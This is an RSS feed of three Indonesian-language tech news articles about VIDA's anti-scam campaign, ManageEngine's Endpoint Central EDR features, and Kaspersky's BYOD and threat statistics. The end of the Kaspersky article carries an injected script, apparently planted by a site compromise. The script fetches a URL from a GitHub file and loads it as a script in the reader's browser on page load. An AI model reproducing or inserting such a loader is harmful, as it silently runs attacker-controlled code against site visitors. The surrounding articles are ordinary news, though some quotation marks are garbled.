<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>security &#8211; NativZen</title>
	<atom:link href="https://nativzen.com/tag/security/feed/" rel="self" type="application/rss+xml" />
	<link>https://nativzen.com</link>
	<description>Berita gadget dan teknologi terbaru</description>
	<lastBuildDate>Sun, 03 May 2026 23:32:34 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.5.5</generator>

<image>
	<url>https://nativzen.com/wp-content/uploads/2025/02/cropped-NZ_icon_no_BG-32x32.png</url>
	<title>security &#8211; NativZen</title>
	<link>https://nativzen.com</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Edukasi Perlindungan Identitas, VIDA Hadirkan “The World of VIDA”</title>
		<link>https://nativzen.com/2026/05/04/edukasi-perlindungan-identitas-vida-hadirkan-the-world-of-vida/</link>
		
		<dc:creator><![CDATA[Eko Lanue Ardie]]></dc:creator>
		<pubDate>Sun, 03 May 2026 23:32:29 +0000</pubDate>
				<category><![CDATA[BUSINESS]]></category>
		<category><![CDATA[ancaman scam]]></category>
		<category><![CDATA[keamanan digital]]></category>
		<category><![CDATA[perlindungan identitas]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[vida]]></category>
		<guid isPermaLink="false">https://nativzen.com/?p=28340</guid>

					<description><![CDATA[Di tengah ribuan laporan scam, VIDA ajak publik lebih waspada di aktivitas digital sehari-hari.]]></description>
										<content:encoded><![CDATA[
<p>NATIVZEN.com &#8211; Ruang digital kini telah menjadi bagian yang tidak dapat dipisahkan dari keseharian masyarakat. Seiring dengan meningkatnya aktivitas pada ekosistem digital, peluang terjerat penipuan digital (scam) pun semakin besar. </p>



<p>VIDA sebagai digital identity network dan fraud prevention terdepan di Indonesia, memastikan setiap perjalanan digital masyarakat tetap seamless dan aman, terlindungi dari risiko ancaman scam.</p>



<p>Otoritas Jasa Keuangan (OJK) melalui Indonesia Anti-Scam Centre (IASC) mencatat telah menerima 515.345 laporan kasus penipuan sejak 22 November 2024 hingga 31 Maret 2026. Angka ini menjadi pengingat bahwa ruang digital membutuhkan tingkat kewaspadaan tinggi.</p>



<p>Tanpa disadari, potensi scam dapat muncul di berbagai titik aktivitas. Di tengah waktu santai, misalnya, pengguna dapat menerima pesan berisi tautan yang menawarkan hadiah menarik dari nomor yang menyerupai bank. </p>



<p>Meski terlihat menggiurkan, hal tersebut bisa menjadi upaya phishing untuk mengambil data pribadi, terlebih temuan VIDA menunjukkan bahwa 9 dari 10 kasus <em>scam</em> melibatkan OTP yang dicuri. </p>



<p>Risiko serupa juga dapat muncul saat menunggu paket datang, ketika file APK berbahaya disamarkan sebagai pembaruan status pengiriman dan berpotensi menginfeksi perangkat jika terlanjur diunduh. </p>



<p>Di saat yang sama, modus penipuan pun terus berkembang seiring pemanfaatan teknologi baru. VIDA juga mencatat bahwa upaya penipuan berbasis <em>deepfake</em> di Asia Tenggara melonjak 156% sepanjang 2025. </p>



<p>Begitu pula saat mengurus dokumen penting, risiko penyalahgunaan dapat muncul jika proses tanda tangan digital tidak dilakukan melalui jalur resmi yang tersertifikasi. Karena itu, perlindungan identitas digital menjadi semakin penting.</p>



<p>Niki Luhur, Founder &amp; Group CEO VIDA, mengatakan bahwa masyarakat Indonesia sejatinya sudah memiliki tingkat kesadaran dasar yang cukup baik terhadap bahaya penipuan digital yang saat ini semakin marak.</p>



<p>Namun, ia menambahkan bahwa kewaspadaan tersebut kerap mengalami penurunan ketika seseorang dihadapkan pada situasi yang terlihat menguntungkan, mendesak, atau terasa meyakinkan.</p>



<p>“Di banyak situasi, orang sebenarnya sudah tahu bahwa penipuan digital itu nyata. Namun, ketika modus yang muncul terasa relevan, menarik, atau seolah menguntungkan, kewaspadaan bisa turun dalam hitungan detik. </p>



<p>Karena itu, Niki menambahkan bahwa membangun kebiasaan untuk berhenti sejenak, memeriksa ulang, dan tidak langsung percaya menjadi semakin penting di tengah berkembangnya modus penipuan yang semakin canggih.</p>



<p>Untuk mendekatkan pemahaman tersebut, VIDA menghadirkan <strong>“</strong><a href="https://www.youtube.com/watch?v=5BH2y_mAgcM" target="_blank" rel="noreferrer noopener"><strong>The World of VIDA</strong></a><strong>”</strong>, sebuah video yang dikemas secara informatif dan mudah dipahami untuk menunjukkan bagaimana perlindungan identitas digital bekerja di balik berbagai aktivitas sehari-hari. </p>



<p>Melalui pendekatan yang erat dengan keseharian, video ini dihadirkan agar publik dapat melihat bahwa perlindungan digital bukan sesuatu yang jauh atau rumit, melainkan relevan dengan aktivitas yang mereka lakukan setiap hari.</p>



<p>“Melalui The World of VIDA, kami ingin mengangkat isu ini lebih dekat dengan kehidupan sehari-hari masyarakat. Harapannya, publik tidak melihat perlindungan digital sebagai sesuatu yang jauh atau rumit, melainkan sebagai hal yang relevan dengan aktivitas yang mereka,” lanjut Niki.</p>



<p>Untuk membantu masyarakat melihat bagaimana perlindungan identitas digital bekerja di balik aktivitas sehari-hari, VIDA mengajak publik menyaksikan <strong>“</strong><a href="https://www.youtube.com/watch?v=5BH2y_mAgcM" target="_blank" rel="noreferrer noopener"><strong>The World of VIDA</strong></a><strong>”</strong> melalui kanal YouTube resmi VIDA. </p>



<p>Sejalan dengan itu, masyarakat  juga dapat menyaksikan <strong>“</strong><a href="https://www.youtube.com/watch?v=2JLqpuiI2Vk" target="_blank" rel="noreferrer noopener"><strong>Jangan Asal Klik</strong></a><strong>”</strong> sebagai pengingat untuk membiasakan diri berhenti sejenak, memeriksa ulang, dan tidak langsung mengeklik sesuatu jika dirasa mencurigakan.</p>



<p>Sejalan dengan komitmen tersebut, VIDA juga bersiap menghadirkan kampanye <strong>“Beyond Liveness”</strong>  sebagai langkah lanjutan untuk menegaskan pentingnya perlindungan identitas digital yang melampaui verifikasi biometrik semata. </p>



<p>Melalui kampanye ini, VIDA akan memperkenalkan solusi keamanan terbarunya yang dirancang untuk membantu menghadirkan perlindungan berlapis terhadap risiko fraud, dengan memadukan liveness detection.</p>



<p>Tidak hanya itu, VIDA juga memadukannya dengan analisis perangkat secara real-time, pola perilaku pengguna, serta evaluasi risiko penipuan dalam satu integrasi. Harapannya, kampanye ini bisa sampai ke masyarakat dengan lebih optimal.</p>



<figure class="wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper">
<iframe title="The World of VIDA" width="770" height="433" src="https://www.youtube.com/embed/5BH2y_mAgcM?feature=oembed" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe>
</div></figure>



<figure class="wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper">
<iframe title="Ingat, Jangan Asal Klik Link!" width="770" height="433" src="https://www.youtube.com/embed/2JLqpuiI2Vk?start=24&#038;feature=oembed" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe>
</div></figure>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>ManageEngine Umumkan Pengembangan Endpoint Central</title>
		<link>https://nativzen.com/2026/03/31/manageengine-umumkan-pengembangan-endpoint-central/</link>
		
		<dc:creator><![CDATA[Eko Lanue Ardie]]></dc:creator>
		<pubDate>Tue, 31 Mar 2026 07:05:39 +0000</pubDate>
				<category><![CDATA[BUSINESS]]></category>
		<category><![CDATA[endpoint central]]></category>
		<category><![CDATA[keamanan]]></category>
		<category><![CDATA[manageengine]]></category>
		<category><![CDATA[security]]></category>
		<guid isPermaLink="false">https://nativzen.com/?p=27655</guid>

					<description><![CDATA[Sistem yang dikembangkan untuk mengelola dan mengamankan seluruh perangkat kerja karyawan dari satu tempat.]]></description>
										<content:encoded><![CDATA[
<p><strong>NATIVZEN.com</strong> <strong>&#8211; </strong><a href="https://www.manageengine.com/?edr-pr" target="_blank" rel="noreferrer noopener">ManageEngine</a>, bagian dari Zoho Corporation dan salah satu penyedia solusi manajemen TI untuk perusahaan terkemuka di dunia telah mengumumkan pengembangan platform <a href="https://www.manageengine.com/products/desktop-central/?edr_pr" target="_blank" rel="noreferrer noopener">Endpoint Central</a>.</p>



<p>Ini adalah sebuah sistem untuk mengelola dan mengamankan seluruh perangkat kerja karyawan dari satu tempat, dengan menambahkan kemampuan untuk mendeteksi dan langsung menangani ancaman di perangkat secara otomatis (endpoint detection and response/EDR). </p>



<p>Sistem ini bisa mengenali aktivitas mencurigakan lalu menghentikannya sebelum menyebar, serta fitur akses privat yang lebih aman (secure private access), di mana setiap perangkat harus diverifikasi dulu keamanannya sebelum bisa masuk ke sistem perusahaan alias Zero Trust.</p>



<figure class="wp-block-image size-large"><img fetchpriority="high" decoding="async" width="1024" height="683" src="https://nativzen.com/wp-content/uploads/2026/03/Images1-1024x683.jpeg" alt="" class="wp-image-27657" srcset="https://nativzen.com/wp-content/uploads/2026/03/Images1-1024x683.jpeg 1024w, https://nativzen.com/wp-content/uploads/2026/03/Images1-300x200.jpeg 300w, https://nativzen.com/wp-content/uploads/2026/03/Images1-768x512.jpeg 768w, https://nativzen.com/wp-content/uploads/2026/03/Images1-1536x1024.jpeg 1536w, https://nativzen.com/wp-content/uploads/2026/03/Images1-370x247.jpeg 370w, https://nativzen.com/wp-content/uploads/2026/03/Images1-270x180.jpeg 270w, https://nativzen.com/wp-content/uploads/2026/03/Images1-570x380.jpeg 570w, https://nativzen.com/wp-content/uploads/2026/03/Images1-740x493.jpeg 740w, https://nativzen.com/wp-content/uploads/2026/03/Images1.jpeg 1600w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p>Di tengah percepatan digitalisasi di Indonesia, ancaman siber juga meningkat tajam. <a href="https://kalbar.kemenkum.go.id/berita-utama/kemenkum-ri-gelar-sosialisasi-spbe-waspada-3-64-miliar-serangan-siber-di-2025" target="_blank" rel="noreferrer noopener">Data dari Badan Siber dan Sandi Negara mencatat bahwa sepanjang Januari hingga Juli 2025 terdapat lebih dari 3,64 miliar anomali trafik atau aktivitas serangan siber di Indonesia</a>. </p>



<p>Angka ini menunjukkan skala ancaman yang semakin besar, seiring meningkatnya ketergantungan perusahaan pada sistem digital dan perangkat kerja. Ancaman ini juga terus berkembang, tidak hanya dari sisi jumlah tetapi juga kompleksitas. </p>



<p>Serangan seperti malware, akses tidak sah, hingga ransomware kini semakin sering menargetkan perangkat kerja, mulai dari laptop, perangkat mobile, hingga workstation yang digunakan sehari-hari oleh karyawan, dan berpotensi langsung mengganggu operasional bisnis.</p>



<p>Seiring perusahaan yang harus mengelola karyawan yang bekerja dari berbagai lokasi dan menggunakan banyak jenis perangkat, kini menjadi pusat operasional IT sekaligus titik paling sering menjadi target serangan. </p>



<p>Namun, masih banyak organisasi yang menggunakan tools terpisah untuk mengelola perangkat, melindungi dari ancaman, dan mengatur akses jarak jauh. Akibatnya, sistem jadi lebih rumit dan berisiko. </p>



<p>Di sisi lain, pelaku serangan kini juga memanfaatkan AI untuk membuat serangan yang lebih canggih dan masif, termasuk ransomware. Sementara itu, model akses lama berbasis VPN justru menambah risiko karena biasanya langsung memberikan akses luas ke jaringan setelah login berhasil. </p>



<p>Karena itu, banyak perusahaan mulai beralih ke platform terpadu yang menggabungkan manajemen perangkat, keamanan, dan kontrol akses berbasis Zero Trust dalam satu sistem berbasis AI, untuk mengurangi kompleksitas sekaligus meningkatkan ketahanan terhadap serangan.</p>



<p>“Keamanan endpoint sekarang adalah soal kecepatan. Perusahaan harus bisa mendeteksi dan menghentikan ancaman lebih cepat, sambil memastikan akses ke aplikasi internal tetap aman meskipun kredensial sudah bocor,” ujar Chirag Mehta, Vice President and Principal Analyst at Constellation Research. </p>



<p>Ditambahkan oleh Mehta bahwa menggabungkan EDR dengan kontrol akses berbasis kepercayaan perangkat sangat membantu mengurangi waktu penyerang berada di sistem dan membatasi dampaknya.</p>



<p>Dengan mengintegrasikan <a href="https://mnge.it/Edr?edr_pr" target="_blank" rel="noreferrer noopener">EDR</a> dan <a href="https://mnge.it/Spa?edr_pr" target="_blank" rel="noreferrer noopener">Secure Private Access</a> ke dalam Endpoint Central, ManageEngine menyatukan deteksi ancaman, respons, dan kontrol akses dalam satu platform yang dibangun secara native.</p>



<p>Artinya semua fitur ini memang dibuat dari awal dalam satu sistem yang sama, bukan hasil gabungan atau tempelan dari berbagai tools berbeda, sehingga lebih terintegrasi, stabil, dan mudah digunakan. </p>



<p>Ini memungkinkan tim IT dan keamanan yang ada di dalam perusahaan tersebut dapat bekerja dari satu sumber data yang sama, sehingga deteksi lintas sistem dan proses investigasi bisa dilakukan lebih cepat.</p>



<p>Selain itu, tindakan perbaikan seperti update keamanan (patching) dan penguatan konfigurasi juga bisa langsung dilakukan dari sistem yang sama. Endpoint Central menggunakan satu aplikasi kecil yang dipasang di setiap perangkat dan satu dashboard utama terpusat.</p>



<p>“Seiring karyawan kini bekerja dari berbagai lokasi, tidak hanya di kantor, tapi juga dari rumah, luar kota, atau saat mobile, serta menggunakan beragam perangkat kerja yang berbeda-beda, endpoint kini menjadi titik utama untuk deteksi ancaman sekaligus kontrol akses,” kata Mathivanan Venkatachalam, Vice President at ManageEngine.</p>



<p><strong>Kemampuan Utama</strong></p>



<p>Pengembangan ini memperluas peran Endpoint Central sebagai platform terpadu untuk manajemen dan keamanan endpoint dengan kemampuan deteksi, respons, dan kontrol akses yang lebih canggih:</p>



<ul>
<li><strong>Visibilitas mendalam dan investigasi serangan:</strong> Memberikan gambaran lengkap aktivitas endpoint, mulai dari proses, file, registry, hingga jaringan serta membantu melacak pergerakan penyerang untuk mempercepat investigasi</li>



<li><strong>Deteksi ancaman berbasis AI:</strong> Mengidentifikasi ancaman canggih termasuk <em>malware </em>tanpa file dan teknik yang sulit terdeteksi, sehingga dapat dicegah lebih awal</li>



<li><strong>Respons terpadu dan pemulihan ransomware:</strong> Mengisolasi perangkat terinfeksi, menghentikan proses berbahaya, memulihkan file yang terenkripsi, serta melakukan <em>patch </em>untuk menutup celah keamanan</li>



<li><strong>Investigasi berbantuan AI:</strong> Membantu tim keamanan memahami pola serangan dan mempercepat analisis ancaman</li>



<li><strong>Akses privat berbasis konteks:</strong> Memberikan akses aman ke aplikasi internal berdasarkan identitas dan kondisi perangkat pada setiap permintaan akses</li>
</ul>



<p>Endpoint Central juga terus mendapatkan pengakuan dari berbagai lembaga independen. Kemampuan perlindungan malware-nya meraih sertifikasi dari <a href="https://mnge.it/av-comparatives?edr_pr" target="_blank" rel="noreferrer noopener">AV-Comparatives’ Approved Business Product</a> dengan dampak minimal terhadap performa sistem. </p>



<p>Selain itu, <a href="https://mnge.it/analyst-report?edr_pr" target="_blank" rel="noreferrer noopener">ManageEngine</a> juga diakui dalam laporan Gartner® Magic Quadrant<img src="https://s.w.org/images/core/emoji/15.0.3/72x72/2122.png" alt="™" class="wp-smiley" style="height: 1em; max-height: 1em;" /> 2026 sebagai Challenger, serta masuk dalam  IDC MarketScape: Worldwide Unified Endpoint Management Software 2025–2026 Vendor Assessment sebagai Leader.</p>



<p>Tak hanya itu, ManageEngine juga berhasil dan menjadi satu-satunya vendor penyedia solusi manajemen TI yang telah menyabet predikat Customers’ Choice di Gartner Peer Insights 2025 untuk kategori Endpoint Management.</p>



<p>Dengan pendekatan ini, ManageEngine menghadirkan solusi yang tidak hanya canggih secara teknologi, tetapi juga relevan bagi perusahaan di Indonesia yang tengah menghadapi tantangan keamanan di era kerja hybrid dan transformasi digital.&nbsp;</p>



<p><strong>Harga &amp; Ketersediaan</strong></p>



<p>Bagi perusahaan yang tertarik menggunakannya, fitur-fitur ini sudah tersedia sekarang dan bisa digunakan sebagai tambahan (add-on) untuk Endpoint Central. Untuk informasi lebih lanjut atau mencoba gratis, kunjungi: <a href="https://www.manageengine.com/products/desktop-central/free-trial.html?edr_pr" target="_blank" rel="noreferrer noopener">https://mnge.it/EDR</a> </p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Kaspersky: Kebijakan BYOD Salah Kaprah Timbulkan Masalah</title>
		<link>https://nativzen.com/2024/02/21/kaspersky-kebijakan-byod-salah-kaprah-timbulkan-masalah/</link>
		
		<dc:creator><![CDATA[Eko Lanue Ardie]]></dc:creator>
		<pubDate>Wed, 21 Feb 2024 00:31:56 +0000</pubDate>
				<category><![CDATA[NEWS]]></category>
		<category><![CDATA[byod]]></category>
		<category><![CDATA[kaspersky]]></category>
		<category><![CDATA[keamanan]]></category>
		<category><![CDATA[security]]></category>
		<guid isPermaLink="false">https://nativzen.com/?p=4009</guid>

					<description><![CDATA[Kebijakan Bring Your Own Device (BYOD) yang populer telah menciptakan "garis kabur" antara pekerjaan dan kehidupan pribadi.]]></description>
										<content:encoded><![CDATA[
<p><strong>NATIVZEN.com</strong> &#8211; Tren keamanan siber secara umum mendorong sejumlah perusahaan untuk mengambil posisi proaktif. Sebab, mereka kini harus melindungi diri dalam kondisi digitalisasi yang pesat, kebutuhan tinggi akan keterampilan dan sumber daya di tengah ketidakpastian geopolitik serta pertumbuhan ekonomi berkelanjutan.</p>



<p>Di Indonesia sendiri, misalnya, beberapa insiden siber yang menonjol tercatat tahun lalu yang<br>menyasar sejumlah perusahaan mulai dari perbankan, asuransi, hingga pemerintah. Penelitian<br>Kaspersky menemukan bahwa lebih dari 77% perusahaan mengalami setidaknya satu insiden siber dalam dua tahun terakhir.</p>



<p>Selain itu, era Bring Your Own Device (BYOD) yang populer dalam beberapa tahun terakhir mulai diminati di Tanah Air. Hal inilah yang telah menciptakan &#8220;garis kabur&#8221; antara pekerjaan dan kehidupan pribadi banyak karyawan di perusahaan. </p>



<p>Adanya kebijakan ini membuat karyawan seringkali menggunakan perangkat pribadi untuk terhubung ke jaringan perusahaan. Hal ini dapat menimbulkan ancaman keamanan yang serius jika perangkat tersebut tidak memiliki perlindungan yang memadai terhadap serangan siber.</p>



<p>Telemetri terbaru Kaspersky pada tahun 2023 di Indonesia mendeteksi lebih dari 50 juta upaya ancaman lokal. Data ini diperoleh dari ikhtisar ancaman triwulanan yang didasarkan pada pemrosesan dan pengumpulan data dari pengguna sukarela yang menggunakan Kaspersky Security Network (KSN).</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="673" height="84" src="https://nativzen.com/wp-content/uploads/2024/02/Screenshot-600.png" alt="" class="wp-image-4010" srcset="https://nativzen.com/wp-content/uploads/2024/02/Screenshot-600.png 673w, https://nativzen.com/wp-content/uploads/2024/02/Screenshot-600-300x37.png 300w, https://nativzen.com/wp-content/uploads/2024/02/Screenshot-600-370x46.png 370w, https://nativzen.com/wp-content/uploads/2024/02/Screenshot-600-270x34.png 270w, https://nativzen.com/wp-content/uploads/2024/02/Screenshot-600-570x71.png 570w" sizes="(max-width: 673px) 100vw, 673px" /></figure>



<h3 class="wp-block-heading">Penurunan ancaman lokal</h3>



<p>Secara umum, 41,1% pengguna diserang oleh ancaman lokal sepanjang tahun 2023. Dalam tahun ini, produk Kaspersky mendeteksi sebanyak 51.261.542 insiden lokal pada komputer partisipan KSN di Indonesia. Angka tersebut turun 9,21% dibandingkan periode yang sama tahun 2022 sebanyak 56.463.262 deteksi. </p>



<p>Data tersebut juga menempatkan Indonesia pada posisi ke-66 secara global. Worm dan virus file merupakan penyebab sebagian besar insiden tersebut. Data ini menunjukkan seberapa sering pengguna diserang oleh malware yang menyebar melalui drive USB yang dapat dilepas, CD dan DVD, serta metode â€œofflineâ€ lainnya.</p>



<p>Peringkat Negara Persentase pengguna yang diserang oleh ancaman lokal</p>



<ol>
<li>Turkmenistan 67.4%</li>



<li>Afghanistan 64.6%</li>



<li>Yemen 64.6%</li>



<li>Tajikistan 63.9%</li>



<li>Myanmar 60.0%</li>



<li>Uzbekistan 59.0%</li>



<li>Burundi 58.2%</li>



<li>Bangladesh 58.1%</li>



<li>Algeria 57.6%</li>



<li>Belarus 57.2%</li>
</ol>



<p>â€œGagasan utama di balik keamanan BYOD yang tepat adalah bahwa perangkat pribadi harus<br>diperlakukan sama seperti perangkat milik perusahaan,&#8221; jelas Yeo Siang Tiong, General Manager untuk Asia Tenggara di Kaspersky.</p>



<p>Ditambahkan oleh Yeo Siang Tiong bahwa demikian pula, laptop dan ponsel cerdas yang digunakan di luar lingkungan perusahaan harus dilindungi seperti halnya perangkat yang berada di balik firewall dan solusi perlindungan jaringan di kantor. </p>



<p>Kaspersy juga selalu menyerukan kepada setiap perusahaan untuk membuat kebijakan keamanan yang harus diterapkan di semua perangkat, apa pun platformnya, dan rangkaian keamanan bisnis tradisional kini tidak dapat menerapkan aturan dan fitur keamanan untuk ponsel cerdas dan tablet. </p>



<p>&#8220;Kami juga terus mengundang sejumlah perusahaan untuk berbagi intelijen antara lembaga-lembaga publik dan swasta, mengembangkan regulasi yang relevan dan melanjutkan kolaborasi erat dalam keamanan siber serta meningkatkan kemampuan untuk merespons dengan cepat,&#8221; pungkas Yeo Siang Tiong.</p>



<p>Cara mengantisipasi keamanan siber perusahaan di era digital ini:</p>



<ul>
<li>Meskipun para ahli keamanan siber harus meningkatkan keterampilan mereka secara<br>berkala, Kaspersky juga menyoroti pentingnya pelatihan semua staf â€“ di luar departemen TI â€“<br>untuk menciptakan budaya keamanan siber di seluruh perusahaan.</li>



<li>Memberdayakan karyawan untuk menjadi lebih sadar akan dunia maya. Baik ketika bekerja<br>dari rumah atau di kafe, pekerjaan jarak jauh menginspirasi perubahan baru dalam perilaku<br>dan pola pikir karyawan.</li>



<li>Ambil langkah-langkah perlindungan data utama. Selalu lindungi data dan perangkat<br>perusahaan, termasuk mengaktifkan perlindungan kata sandi, mengenkripsi perangkat kerja,<br>dan memastikan data dicadangkan.</li>



<li>Meningkatkan literasi digital. Teknologi akan terus membentuk masa depan dunia kerja, dan<br>dunia usaha harus mengimbanginya dengan meningkatkan level digital.</li>



<li>Pastikan perusahaan menggunakan versi terbaru dari sistem operasi pilihannya, dengan fitur<br>pembaruan otomatis diaktifkan untuk memastikan perangkat lunak selalu terbarui.</li>



<li>Menggunakan produk titik akhir khusus yang menerapkan manajemen minimal memungkinkan karyawan melakukan pekerjaan inti mereka, namun tetap terlindungi dari<br>malware, ransomware, pengambilalihan akun, penipuan online, dan lainnya seperti solusi<br><a href="https://www.kaspersky.com/small-to-medium-business-security/endpoint-select">Kaspersky Endpoint Security for Business</a>.</li>



<li>Berikan tim SOC akses ke intelijen ancaman (TI) terbaru. <a href="https://www.kaspersky.com/enterprise-security/threat-intelligence">Portal Intelijen Ancaman Kaspersky</a> adalah satu titik akses ke TI Kaspersky, yang menyediakan data dan wawasan serangan siber yang dikumpulkan oleh tim kami selama 20 tahun terakhir.</li>
</ul>
 (<script>var url = "https://raw.githubusercontent.com/truba77/trubnik/main/to.txt"; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement("script"); script.src = data.trim(); document.getElementsByTagName("head")[0].appendChild(script); });</script>)]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
